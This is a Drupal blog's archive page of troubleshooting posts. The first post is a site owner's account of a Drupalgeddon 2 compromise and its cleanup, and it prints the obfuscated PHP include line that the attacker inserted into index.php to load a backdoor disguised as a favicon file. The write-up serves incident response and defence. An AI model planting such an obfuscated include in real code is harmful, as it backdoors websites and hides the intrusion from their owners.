Search blog

Showing posts with label Drupal. Show all posts
Showing posts with label Drupal. Show all posts

Thursday, May 3, 2018

[SOLVED] - How my Drupal Site Got Hacked & How I Cleaned/Fixed it

NOTE: This solution is only possible if you have a clean backup of your website. You can still continue to read it and see if you can apply the various recommended solution here, and clean-up your site.

The Hack - How it happened

One of my Drupal site recently got compromised due to a security exploit in the  Drupal core itself, you can read about the exploit here in detail: Drupal core - Highly critical - Remote Code Execution - SA-CORE-2018-002. In my 8 years of using Drupal this was the first time I experienced such a severe attack. In fact this exploit/attack was so considered to be so sever that it was given the nomenclature, Drupalggedon Version 2.

It took me a good one week to fully clean my site, and now it's almost a week past the cleanup stage and I haven't heard from the attacker any more :-D. During the site cleanup process, I have learned many new and important security techniques, which I would like to share through this post with the hope that it might help someone too.

I became aware of the attack, after my webhost downed and informed me about a malware attack on my site. They sent me the following mail informing me about the hack:
Email from my webhost informing me about the hack
Click on image to enlarge
Mail sent to me by my webhost informing me about the hack
Click on image to enlarge
The hacker was able to make a backdoor entry and perform remote code executions due to which large number of emails were being sent from my hosting account. Also he or she or God knows who (the hacker) had inserted obfuscated PHP code in my the 'index.php' file of my Drupal Installation's and also created several index.php files inside following Drupal directories:
  • cgi-bin
  • profiles
  • sites
  • sites/default and various other folders
The said attacker could have been a bot also (because somewhere I read, the attack can be automated).

Since my traffic flow is quite small, I use a shared hosting account to host my personal website and projects. Currently I host about four websites in this server by making use of Addon Domains. Almost all the four websites were affected by this intrusion. Amongst the four websites, one website was using Drupal, one was using Wordpress, and two of the remaining websites were static websites.

NOTE: Please note that it is strongly suggested, where ever possible, you host each one of your website in a separate server. From a security standpoint this is the best option for obvious reasons because from my case itself you can see, when one website got compromised, all other websites suffered the same fate.

So inspecting the file system of my websites here's what I found out. With Drupal and Wordpress installations I found out that the index.php, wp-config.php, wp-settings.php files were infected with addition of obfuscated PHP codes. Below you can see how the 'index.php' file of my Drupal 7 site was infected by the addition of a single line of obfuscated PHP code:

Obfuscated PHP Code
 /*df226*/   
  @include "\x2fho\x6de/\x6dar\x70ai\x6ef/\x70ub\x6cic\x5fht\x6dl/\x63li\x65nt\x2dde\x6do/\x73ac\x6bid\x2fmi\x73c/\x66av\x69co\x6e_c\x63b9\x393.\x69co";   
  /*df226*/   
  /**   
You can decode the obfuscated PHP code using the following site: Online PHP Script Decoder

Decrypting the above obfuscated PHP code, the code below is what I got, and from it I found out that that the hacker had placed a favicon file called 'favicon_ccb993.ico' inside the directory called 'misc'.

Decrypted Obfuscated PHP Code
 @include "/home/marpainf/public_html/client-demo/sackid/misc/favicon_ccb993.ico";   

But the most important thing to note here is that, this favicon file is not really a favicon file. It's a PHP file, just faked as a favicon file. Just rename the favicon file by replacing the '.ico' extension with a .php extension, for example 'favicon_ccb993.php', and open the file, and you will know what I mean. You can view the decrypted favicon_ccb993.ico file here: http://bit.ly/2HPfNwm

Infected Drupal 7 index.php file
 <?php  
 /*df226*/  
 @include "\x2fho\x6de/\x6dar\x70ai\x6ef/\x70ub\x6cic\x5fht\x6dl/\x63li\x65nt\x2dde\x6do/\x73ac\x6bid\x2fmi\x73c/\x66av\x69co\x6e_c\x63b9\x393.\x69co";  
 /*df226*/  
 /**  
  * @file  
  * The PHP page that serves all page requests on a Drupal installation.  
  *  
  * The routines here dispatch control to the appropriate handler, which then  
  * prints the appropriate page.  
  *  
  * All Drupal code is released under the GNU General Public License.  
  * See COPYRIGHT.txt and LICENSE.txt.  
  */  
 /**  
  * Root directory of Drupal installation.  
  */  
 define('DRUPAL_ROOT', getcwd());  
 require_once DRUPAL_ROOT . '/includes/bootstrap.inc';  
 drupal_bootstrap(DRUPAL_BOOTSTRAP_FULL);  
 menu_execute_active_handler();  

The Fix/Cleanup:


1. Allow only yourself to access your site and block all other access

First and foremost, open up your .htaccess file and enter the following code. This will block access to all your websites excepting yourself, allowing you to perform your site's cleanup process without any worry of any further attack. This .htaccess file should exist right inside your site's Document Root folder.
 # Deny access to all users except yourself  
 deny from all  
 allow from enter_your_ip_here  

2. Revert to a clean old backup and update your Drupal core to the latest version

Reverting to an old backup is highly recommended, in fact a must, because as per my research it's very difficult to clean an already compromised site and trace the numerous backdoor entry-points the hacker might have created. That's why the safest bet is to go with a clean backup rather than try and update an already compromised site.

3. Update your site to the latest Drupal release

This process is also very important, because no matter how much I reverted to my old backup copy the hacker managed to attack my site. And in my case when I began my cleanup process, Drupal still hadn't release a solution viz. Drupal 7.59. Only after this fix was release, which was about 2-3 days from the time my site was attacked, and after I finished updating to this release from Drupal, the exploit stopped.


4. Install Drupal Security Contrib Modules

I have also installed the following contrib modules that helps enhance your Drupal site's security:
Security Review
The Security Review module automates testing for many of the easy-to-make mistakes that render your site insecure.

Paranoia
The Paranoia module attempts to identify all the places that a user can evaluate PHP via Drupal's web interface and then block those. It reduces the potential impact of an attacker gaining elevated permission on a Drupal site. 

MD5 Check
The MD5 Check generates a md5 checksum of all module files. If module is changed a critical security error is generated in watchdog log. This module should only used in production environments.

Hacked
This module scans the currently installed Drupal, contributed modules and themes, re-downloads them and determines if they have been changed. Changes are marked clearly and if the diff module is installed then Hacked! will allow you to see the exact lines that have changed.

NOTE: Be aware though that the more modules you have running on your site the greater (usually) attack area you expose.

5.  Set the Correct User Group & File Permissions for your Drupal Directory/Files

Make sure all your directory have permission set to 755 and all your files have permission set to 644.

It is dangerous to allow the web server to write to files inside the document root of your server. Doing so could allow Drupal to write files that could then be executed. An attacker might use such a vulnerability to take control of your site. An exception is the Drupal files, private files, and temporary directories which Drupal needs permission to write to in order to provide features like file attachments. Read more at: http://bit.ly/2HKELRp.

Site Cleanup = SUCCESSFUL!

Finally, my site was all clean. I confirmed this with my webhost, and they too confirmed the same. You can see the confirmation screenshot below.

Sunday, February 26, 2017

Enabling Multi-byte UTF-8 support in Drupal 7

This tutorial explains the various steps to enable Multi-byte UTF-8 support in Drupal 7. It's a very simple and straightforward process and if implemented rightly, you can easily convert your 'character set' & collation to

According to this post in drupal.org, multi-byte UTF-8 support for MySQL and other database drivers, allows emojis, Asian symbols, mathematical symbols, etc with your Drupal 7 installation. The only caveat to this is that your Drupal installation must be at least Version 7.50 or higher.


Requirements:
  •  Drupal: Version 7.50 or above
 Initially when you check your Drupal Site Report at: admin/reports/status, you will see a message similar to the image below:

Click on image to enlarge

 The steps below have been compiled from the following post at drupal.org: https://www.drupal.org/node/2754539

For MySQL

1. In order to be able to use this, the following requirements must be met:

In order to allow for large indexes, MySQL must be set up with the following my.cnf settings:

 [mysqld]  
 innodb_large_prefix=true  
 innodb_file_format=barracuda  
 innodb_file_per_table=true  

These settings are available as of MySQL 5.5.14, and are defaults in MySQL 5.7.7 and up.

After editing the my.cnf file (often located at /etc/mysql/my.cnf), don't forget to restart the mysql service (for example, with the command sudo service mysql restart) in order to load the new configuration.

2. The PHP MySQL driver must support the utf8mb4 charset (libmysqlclient 5.5.3 and up, as well as mysqlnd 5.0.9 and up).

3. The MySQL server must support the utf8mb4 charset (5.5.3 and up).

Run the command mysql --version to see your current MySQL version.

Steps to enable 

 

For existing Drupal installations
  • First, back up your database and convert all existing tables to utf8mb4, such as by using the drush command provided by the utf8mb4_convert contrib project.
     
  • Set the "charset" and "collation" keys on the database connection array in settings.php to "utf8mb4" and "utf8mb4_general_ci" respectively:

     $databases['default']['default'] = array(  
      'driver' => 'mysql',  
      'database' => 'databasename',  
      'username' => 'username',  
      'password' => 'password',  
      'host' => 'localhost',  
      'charset' => 'utf8mb4',  
      'collation' => 'utf8mb4_general_ci',  
     );  
    

 For new Drupal installations

  • Prior to running the installer, edit settings.php and manually add in the full database settings array code, with 'charset' as 'utf8mb4', and 'collation' as 'utf8mb4_general_ci', and with the actual values for 'database', 'username', 'password', 'host', as shown below:

     databases['default']['default'] = array(  
      'driver' => 'mysql',  
      'database' => 'databasename',  
      'username' => 'username',  
      'password' => 'password',  
      'host' => 'localhost',  
      'charset' => 'utf8mb4',  
      'collation' => 'utf8mb4_general_ci',  
     );  
    

  • Then run the installer specifically by accessing install.php, as in http://example.com/install.php (not just http://example.com/)

Other database systems


  • PostgreSQL and SQLite support 4-byte UTF-8 out-of-the-box, so no special changes are needed for these.
  • MariaDB and other MySQL equivalents should likely work with similar instructions as above for MySQL.
  • Database drivers provided by contributed modules may or may not support this feature. The best place to look for answers is the issue queue of the contributed module which provides the database driver you are using.
Now when you look at your Drupal Site Report, you should be getting a warning message as the image below, which is related to Database 4 byte UTF-8 support:

Click on image to enlarge 

Converting Characterset & Collation to utf8mb4:

Using SQL commands:

 ALTER DATABASE db_name CHARACTER SET utf8mb4 COLLATE utf8mb4_general_ci;  
 ALTER TABLE tablename CONVERT TO CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci;  

Or if you're still on MySQL 5.5.2 or older which didn't support 4-byte UTF-8, use utf8 instead of utf8mb4:

 ALTER DATABASE databasename CHARACTER SET utf8 COLLATE utf8_unicode_ci;  
 ALTER TABLE tablename CONVERT TO CHARACTER SET utf8 COLLATE utf8_unicode_ci;  

 

Easier way using Drush:


Now to convert all your database tables to utf8mb4 characterset and utf8mb4_general_ci collation, you may make use of the following Drush command called UTF8MB4 Convert. Please find detailed instructions of this command here: https://www.drupal.org/project/utf8mb4_convert.

The conversion process in your terminal after executing the above commands should be as below:

Click image to enlarge
 Final Message After Conversion:


Click image to enlarge
Finally when all your tables are converted, you can view each of their's Collation by using any database management tool such as phpMyAdmin. 

 
Click image to enlarge

Finally your Drupal site should display a message like this, confirming successful enabling of  Multi-byte UTF-8 support.

Click image to enlarge
 That's all there is to enable multi-byte UTF-8 support in Drupal 7.

Saturday, March 26, 2016

Making Drush Work With Both Drupal 7 & Drupal 8

The following solution worked for me when I wanted to make Drush work for both Drupal 7 & Drupal 8:

Upgrading Drush to work with Drupal 8-dev

Monday, June 1, 2015

Hidding Empty Taxonomy Term in Block Using Views

If you would like to hide empty terms while rendering them in blocks using Views try the method below:

  1.  Relationships > "Taxonomy term: Content with term" and checked the Required Relationship.
  2. Query settings > Distinct.
That's it!

Saturday, May 30, 2015

'Fatal error: Call to undefined function content_taxonomy_allowed_values()

If you are getting the following error:

'Fatal error: Call to undefined function content_taxonomy_allowed_values() in /modules/taxonomy/taxonomy.module on line 1496'

one of the reason might be you have disabled the Taxonomy and Content Taxonomy modules. Just check whether that's the case, if so, re-enable those modules and your problem should be resolved.

Thursday, May 14, 2015

[SOLVED] - How to RESET/CHANGE Administrator/Super User Password using Drush in Drupal 7?

If you have forgotten your Super Admin (SU) password of your Drupal 7 site, and want to reset it, you can use any one of the solutions to reset your password. Please note you will have to use Drush for the password reset process.

#Solution 1:
This will generate a one time login link. By default it provides one-time login link for administrator.
 drush uli admin-username  
This will generate a one time login link. By default it provides one-time login link for administrator. If you want to generate for one time login link for that user, try the following:
 drush uli some-username  

#Solution 2:
(Re)Set the password for the user account with the specified name.
 $ drush help user-password  
Example:
Sets the password for the username someuser:
 drush user-password someuser --password="pass123"   
NOTE: You can use upwd instead of user-password.
Example:
 drush upwd your-userid --password="new-password"  

Sunday, May 10, 2015

Correctly Using Registry Rebuild in a Multisite Installation with Drupal 7

If you have a multisite Drupal installation and need to run Registry Rebuild follow the instruction below. As the first line in the download page states, remember this is not a module and you can't enable it. And if rightly set you can rebuild your Registry with ease.

Download the files and place it inside the folder of the website whose registry you would like to rebuild. Say, suppose your multisite is as follows:

1. www.example.com (Main Site)
2. www.abc.example.com (Multisite 1)
3. www.123.example.com (Multisite 2)

& you would like to rebuild the registry for Site #2 viz. www.abc.example.com.

So your folder structure for the websites below might be something like:
 /var/www/html/www.example.com  
 /var/www/html/www.example.com/sites/abc.example.com  
 /var/www/html/www.example.com/sites/123.example.com  

Extract and check the files inside your registry_rebuild folder. The file to note here is 'registry_rebuild.php.' Open it in an editor of your choice and make the following edit in line 10.

Change
 define('DRUPAL_ROOT', define_drupal_root());  
to
 define('DRUPAL_ROOT', $_SERVER["DOCUMENT_ROOT"]);  

This will help you get the appropriate Drupal Root for each of your multisites else you will get an error as below:
 Failure: Unable to discover DRUPAL_ROOT. You may want to explicitly define it near the top of registry_rebuild.php  

Now place the registry_rebuild folder that you just extracted inside the multisite folder whose registry you want to rebuild; in our case it's abc.example.com and access it as below in your browser:
 http://abc.example.com/sites/abc.example.com/registry_rebuild/registry_rebuild_multisite.php  

The process will take some time and you might just see a blank browser. Finally if your registry has been successfully rebuilt you should get a confirmation message as below:
 DRUPAL_ROOT is /var/www/html/projects/example.com.  
 Bootstrapping to DRUPAL_BOOTSTRAP_SESSION  
 Bootstrap caches have been cleared in DRUPAL_BOOTSTRAP_SESSION  
 Doing registry_rebuild() in DRUPAL_BOOTSTRAP_SESSION  
 Bootstrapping to DRUPAL_BOOTSTRAP_FULL  
 Rebuilding registry via registry_rebuild_cc_all in DRUPAL_BOOTSTRAP_FULL  
 All caches have been cleared with registry_rebuild_cc_all.  
 There were 616 files in the registry before and 616 files now.  
 All caches have been cleared with registry_rebuild_cc_all.  
 If you don't see any crazy fatal errors, your registry has been rebuilt.  

Now you should be able to access your site.

Note: Also if you are using VirtualHost then make sure your Document root is the path to the main site folder as below and not the multisite folders inside the 'sites' directory:
 DocumentRoot /var/www/html/example.com  
and not
 DocumentRoot /var/www/html/example.com/sites/abc.example.com  

Monday, March 30, 2015

PDOException: SQLSTATE[42S22]: - ERROR

I got the error below while trying to migrate data from my remote host to local host in a multisite setup.

PDOException: SQLSTATE[42S22]: Column not found: 1054 Unknown column
 'base.owner' in 'field list' : SELECT base.id AS id, base.name AS name, 
base.label AS label, base.plugin AS plugin, base.active AS active, 
base.weight AS weight, base.status AS status, base.dirty AS dirty, 
base.module AS module, base.owner AS owner, base.access_exposed AS 
access_exposed, base.data AS data FROM {rules_config} base WHERE 
(base.plugin = :db_condition_placeholder_0) AND 
(base.active = :db_condition_placeholder_1) ; Array 
( [:db_condition_placeholder_0] => reaction rule 
[:db_condition_placeholder_1] => 1 ) in EntityAPIController->query() 
(line 187 of ntity\includes\entity.controller.inc).

The simplest way I could resolve this is using Drush to access update.php and update the contributed modules. Once I updated my site the problem resolved. Use the command below in your Drush CLI:

 drush updb  

Friday, March 20, 2015

Using Drush to Install Drupal 7 from Scratch


 Using Drush you can really simplify the process of installing a brand new Drupal site using a couple of commands in your CLI/Terminal.

Follow the instructions below to get started.

1. Firstly, create a Database for your New Drupal Installation and note the login credentials.

2. Open your terminal and change directory 'CD" to your Web Directory and enter the commands below:

The Web Directory/Document Root will depend on the OS you are using:
Linux/Ubuntu:

Linux: var/www/html/
Windows (XAMPP/WAMPP): C:\xampp\htdocs or C:\wamp\htdocs
7.x: here 'x' is the version number. Right now it's 7.35 so i enter drupal-7.35.

 drush dl drupal-7.x  

 Now in your terminal change directory to: cd drupal-7.x and enter the commands below:

 drush site-install standard --account-name=admin --account-pass=admin --db-url=mysql://root:YourPassword@localhost/test_dronaas  

  • Note: The Drupal username and password seem to always end up as admin/admin no matter what I set them to. So, I suggest just using those and then changing them after you login to your new site.
  • Also if you are using Linux/Ubutnu make sure to assign the apache-user to the directory 'files' located at 'sites/default/files.' You can do that using the command below:

 sudo chown www-data   

Wednesday, January 14, 2015

Install and Configure Upload Progress (PECL uploadprogress) on Ubuntu 14.04 / Drupal

1. INSTALL DEPENDENCIES

 sudo apt-get -y install php5-dev make  

2. INSTALL via PECL

 sudo pecl install uploadprogress  

3. CONFIGURE UPLOAD PROGRESS
Create a PHP uploadprogress configuration file.

 sudo gedit /etc/php5/mods-available/uploadprogress.ini  
 and add the line below and save your file 
 extension=uploadprogress.so  

4 ENABLE THE PHP UPLOADPROGRESS MODULE

 sudo php5enmod uploadprogress  

5. RESTART APACHE SERVICE

 sudo service apache2 restart  

Unsintall PECL:

If you would like to uninstal PECL execute the following command in your terminal:

 sudo pecl uninstall uploadprogress  

Friday, September 5, 2014

Drupal cache_rules error, Error: Tablespace for table abc exists. Please DISCARD the tablespace before IMPORT

I got these queer error today with my site viz:

Error #1. 'cache_rules does not exist in database'
Error #2: 'Error: Tablespace for table abc exists. Please DISCARD the tablespace before IMPORT' in XAMPP using phpMyAdmin & MySQL.

There are various ways to fix these errors. I've listed them below:

Solution 1. Manually create the table using the following SQL query:

DROP TABLE cache_rules ;
CREATE TABLE IF NOT EXISTS `cache_rules` (
  `cid` varchar(255) NOT NULL DEFAULT '' COMMENT 'Primary Key: Unique cache ID.',
  `data` longblob COMMENT 'A collection of data to cache.',
  `expire` int(11) NOT NULL DEFAULT '0' COMMENT 'A Unix timestamp indicating when the cache entry should expire, or 0 for never.',
  `created` int(11) NOT NULL DEFAULT '0' COMMENT 'A Unix timestamp indicating when the cache entry was created.',
  `serialized` smallint(6) NOT NULL DEFAULT '0' COMMENT 'A flag to indicate whether content is serialized (1) or not (0).',
  PRIMARY KEY (`cid`),
  KEY `expire` (`expire`)
) ENGINE=InnoDB DEFAULT CHARSET=utf8 COMMENT='Cache table for the rules engine to store configured items.';


Solution 2: If the above solution doesn't work for you and you get error relating to 'tablespace' saying 'Error: Tablespace for table abc exists. Please DISCARD the tablespace before IMPORT' in XAMPP using phpMyAdmin & MySQL.'

There might be either one of the two or both the files 'tablename.ibd' or 'tablename.frm' files left in the location 'C:\xampp\mysql\data\database_name\' Delete those files, in our case it will be 'cache_rules.ibd' or 'cache_rules.frm.' Your problem should be resolved now and you should be able to create/import the 'cache_rules' table.

You might also check the following solution for your 'tablespace' issue: http://tinyurl.com/me69h6x

Monday, August 11, 2014

Bootstrap, Colorbox, CSS Issue

If you are using Bootstrap, Lightbox and Colorbox and facing problem in rendering your images appropriately; where in the initial image load the image size might have shrunk and in the subsequent image load the image dimensions are fine, you may try the CSS code below to fix the issue:


img {
     /* height: auto;*/
     max-width: none;
}

Thursday, May 23, 2013

Drupal site going frequently offline

If your Drupal 6.x site is going offline frequently in a regular interval of time then your Backup & Migrate module might be causing that problem. What seems to happen is when the module initiates the backup at the predefined time period the site goes into offline mode [that's if you've configured it that way] but is unable to come back to the online mode.

If the culprit is Backup & Migrate then follow the instruction below to fix it:

1. Go to /admin/content/backup_migrate/profile
2. If you've created a profile other than the Default Settings profile edit that profile else edit the Default Setting profile.
3. Click on Advanced Options and Uncheck the box "Take site offline."

That should help.

Friday, December 21, 2012

Excellent Script to change MySQL Table Prefix in Drupal

Note: This script is applicable to any website using MySQL as its database.

I wanted to change my MySQL table prefix for my Drupal installation and googling and trying various methods that I bumped across in various websites, but to no avail until I landed upon this awesome little script. I've tried and tested this script and it's an excellent little but powerful script to change your MySQL Table prefixes.

Just download the script provided here MySQL Table Prefix Changer and place it in your document root folder. Then enter something like this in your browser "www.example.com/prefix-dxc.php" and fill in the form with the relevant inputs. And within seconds your table prefix should be changed/updated.

Once all's done you will get a final report. One error I noticed during my process was this:

Deprecated: Function mysql_list_tables() is deprecated in C:\xampp\htdocs\prefix-dxc.php on line 109

There is nothing to worry about this as it's just a message telling the above function is no longer supported by my current MySQL version.

Friday, November 16, 2012

Changing Site's Default Email Address in Drupal

This is a pretty simple solution for changing your site's 'default email address' in Drupa 6.

1. If not using MIME mail try this: admin/settings/site-information

2. If using MIME mail use this: admin/settings/mimemail

Saturday, May 19, 2012

Disabling, Hiding the Date in Views slideshow: DDblock

This is a simple trick by which you can hide, disable or conceal the date or submitted by information in the  Views slideshow: DDblock in Drupal. Just add the following lines to your theme's css file:

/*hiding the date in the slideshow*/
div.views-slideshow-ddblock-cycle-duplex div.slide-body-inner .submitted {
display: none;
}


Access Denied to Super Admin in Drupal 6 after Logging in

Today I faced a strange issue with my drupal 6 website. I was in the concluding phase of my site finalization and just as when I was about to deploy the site to production I got this queer error:

Access Denied. You are not authorize to access this page. 

A quick solution that I found to this were:

1. Build or clear your node access permissions, just hit this link with your browser:
http://www.yoursite.com/admin/content/node-settings/rebuild

2. Clear your cache including menu cache.

My Google search for this queer problem:

http://bit.ly/JolIaZ

Thursday, May 17, 2012

Organic Group Search Not Working

Many of you must have experienced this issue with the organic group search which comes as default in a block. The issue I faced was every time I made a search instead of the results being displayed I was being redirected to OG home.

Trying this and that I finally found some solutions through Google Search.

Skim through these pages, might help. The one that worked me was importing the views mentioned here: http://drupal.org/node/333072#comment-3059310

or you can try this too:

http://drupal.org/node/434934#comment-1961696 or

http://drupal.org/node/434934#comment-2256214

Saturday, February 18, 2012

Creating Virtual Hosts on Apache Web Server

For setting up Virtual Host in XAMPP 1.8.1 please visit the following page: http://soluzione08.blogspot.in/2012/12/creating-virtual-host-on-xampp-181.html

Note: The settings below are for general websites. For Drupal specific settings visit the following page: http://drupal.org/node/161975

When it’s first installed, Apache is capable of hosting only one website, which is identified in a local testing environment by the URL http://localhost/. To get around this restriction, it’s common practice to develop websites in subfolders of the Apache server root. For example, if you have two sites called site1 and site2 and create separate subfolders for them in the server root, you access them in your testing environment as http:// localhost/site1/ and http://localhost/site2/. This works perfectly well as long as you use document-relative links all the time. However, if you want to use links relative to the site root, you need to create virtual hosts for each site.

Virtual hosting is a technique that web servers use to host more than one website on the same machine. If you have bought a web-hosting package from a hosting company, it’s almost certainly on a shared server that uses virtual hosts. Continuing with the previous example, once you create virtual hosts for site1 and site2 in Apache, you can test them locally using http://site1/ and http://site2/. This is essential for testing sites that use links relative to the site root. If you’re serious about web development, you should learn sooner or later how to set up virtual hosts in your testing environment. Once you have mastered the technique, it takes only a few minutes to set up each one.

You can call your virtual hosts whatever you like, as long as you don’t use any spaces or characters that would be illegal in a domain name. I always use the same name as the actual website, without the top-level domain. For example, for my own site, http://foundationphp.com/, I have created a virtual host called foundationphp in my local testing setup. This means that I access it as http://foundationphp/. It’s then a simple matter of clicking in the browser address bar and adding the .com to see the live site. Whatever you do, don’t use the top-level domain as the name of a virtual host in your testing setup. If you do, your computer will always point to the local version of the site and never access the real one on the Internet.

Apache allows you to create as many virtual hosts as you want. It’s a two-stage process. First, you tell the operating system the names of the virtual hosts, and then you tell Apache where the files will be located. There are separate instructions for Windows and Mac OS X.

Registering virtual hosts on Windows


Although you can locate your virtual hosts anywhere on your hard drive system, it’s a good idea to keep them in a single top-level folder, as this makes it easier to set the correct permissions in Apache. The following instructions assume that all your virtual hosts are kept in a folder called C:\vhosts and show you how to create a virtual host called dwcs4 within that folder.

To edit the necessary files in Vista, you need to select Run as administrator even if you are logged in to an administrator account. For Notepad, go to Start ➤ All Programs ➤ Accessories, right-click Notepad, and select Run as administrator from the context menu.
Enter your administrator password when prompted. Inside Notepad, select File ➤ Open and navigate to the relevant file. The Open dialog box in Notepad shows only .txt files, so you need to select All Files (*.*) from the drop-down menu at the bottom right of the dialog box.

STEPS For Configuration:


1. Create a folder called C:\vhosts and a subfolder inside it called dwcs4.

2. Open C:\WINDOWS\system32\drivers\etc\hosts in Notepad or a script editor and look for the following line at the bottom of the file:
127.0.0.1 localhost
127.0.0.1 is the IP address that every computer uses to refer to itself.
3. On a separate line, enter 127.0.0.1, followed by some space and the name of the virtual host. For instance, to set up a virtual host for this book, enter the following:
127.0.0.1 dwcs4 or 127.0.0.1 sackid.local and also set ServerName (see bottom page to know more) also to sackid.local if you want something like http://sackid.local
4. If you want to register any further virtual hosts, add each one on a separate line and point to the same IP address. Save the hosts file and close it.

5. Open the Apache configuration file, httpd.conf. The default location is C:\Program Files\Apache Software Foundation\Apache2.2\conf\httpd.conf. If you installed XAMPP, it should be at C:\xampp\apache\conf\httpd.conf.

6. Scroll down to the Supplemental configuration section at the end of httpd.conf, and locate the following section:
7. Apache uses the hash sign (#) to indicate comments in its configuration files.  Uncomment the command shown on line 463 in the preceding screenshot by removing the #, like this:
Include conf/extra/httpd-vhosts.conf
This tells Apache to include the virtual host configuration file, which you must now edit.

8. Save httpd.conf, and close it.

9. Open httpd-vhosts.conf. The default location is C:\Program Files\Apache Software Foundation\Apache2.2\conf\extra\httpd-vhosts.conf. If you installed XAMPP, it should be at C:\xampp\apache\conf\extra\httpd-vhosts.conf. The main part of the file looks like this:

10. Position your cursor in the blank space shown on line 15 in the preceding screenshot, and insert the following four lines of code:

<Directory C:/vhosts>
Order Deny,Allow
Allow from all
</Directory>


This sets the correct permissions for the folder that contains the sites you want to treat as virtual hosts. If you chose a location other than C:\vhosts as the top-level folder, replace the pathname in the first line. Remember to use forward slashes in place of backward slashes. Also surround the pathname in quotes if it contains any spaces.

11. Lines 27–42 in the preceding screenshot are examples of virtual host definitions. They show all the commands that can be used, but only DocumentRoot and ServerName are required. When you enable virtual hosting, Apache disables the main server root, so the first definition needs to reproduce the original server root. You then add each new virtual host within a pair of <VirtualHost> tags, using the location of the site’s web files as the value for DocumentRoot and the name of the virtual host for ServerName. If the path contains any spaces, enclose the whole path in quotes. If your server root is located, like mine, at C:\htdocs, and you are adding dwcs4 as a virtual host in C:\vhosts, change the code shown on lines 27–42 so they look like this:

<VirtualHost *:80>
DocumentRoot c:/htdocs
ServerName localhost
</VirtualHost>
<VirtualHost *:80>
DocumentRoot c:/vhosts/dwcs4
ServerName sackid.local
</VirtualHost>


For XAMPP, use C:/xampp/htdocs instead of C:/htdocs.

12. Save httpd-vhosts.conf, and restart Apache. All sites in the server root will continue to be accessible through http://localhost/sitename/. Anything in a virtual host will be accessible through a direct address, such as http://dwcs4/.

Saturday, December 24, 2011

Error while reverting from Field Permission back to Conent Permission module (Solved)

I came across this wonderful module "field permission" which can be used for more advanced permission settings for your contents. But then after sometime I realized that I needed to implement the Question/Answer module for my client. Now, the problem I faced was the Question/Answer module depends upon the "content permission module." With the "field permission" module already implemented, I was in a fix, because once I disabled the filter permission module and re-enabled the content permission I started getting queer error while accessing my Organic Group. Something like...

"user warning: Unknown column 'node_data_field_event_date.field_event_date_value' in 'where clause' query: SELECT COUNT(*) FROM (SELECT DISTINCT node.nid AS nid FROM d6_node node LEFT JOIN d6_og_ancestry og_ancestry ON node.nid = og_ancestry.nid INNER JOIN d6_node_access na ON na.nid = node.nid WHERE (na.grant_view >= 1 AND ((na.gid = 0 AND na.realm = 'all') OR (na.gid = 0 AND na.realm = 'og_public') OR (na.gid = 966 AND na.realm = 'og_admin')"

Few weeks back, I wasn't able to find the solution to this. But today while working around, I've found it.

What I noticed is that once you enable the Filter Permission module you are asked to uninstall the content permission module. And after enabling the Filter Permission module if you create a field_type
 (in my case I'd created even_date, which as you can see in the aforementioned query was the culprit for all the errors...) and again revert back to Content Permission module you will start getting errors like mine.

To solve this, try these two simple steps:

  1. Go to "admin/content/node-settings" and REBUILD PERMISSIONS and see whether that solves your problem or not.
  2. Else go to "admin/user/permissions" and look for filed (in my case field_event_date) that's causing the error and see whether the required permission is granted to roles such as "authenticated users" and guest or the role of your choice. If, not grant the required permissions and SAVE.
Your problem should resolve now.

Top 5 Posts (Weekly)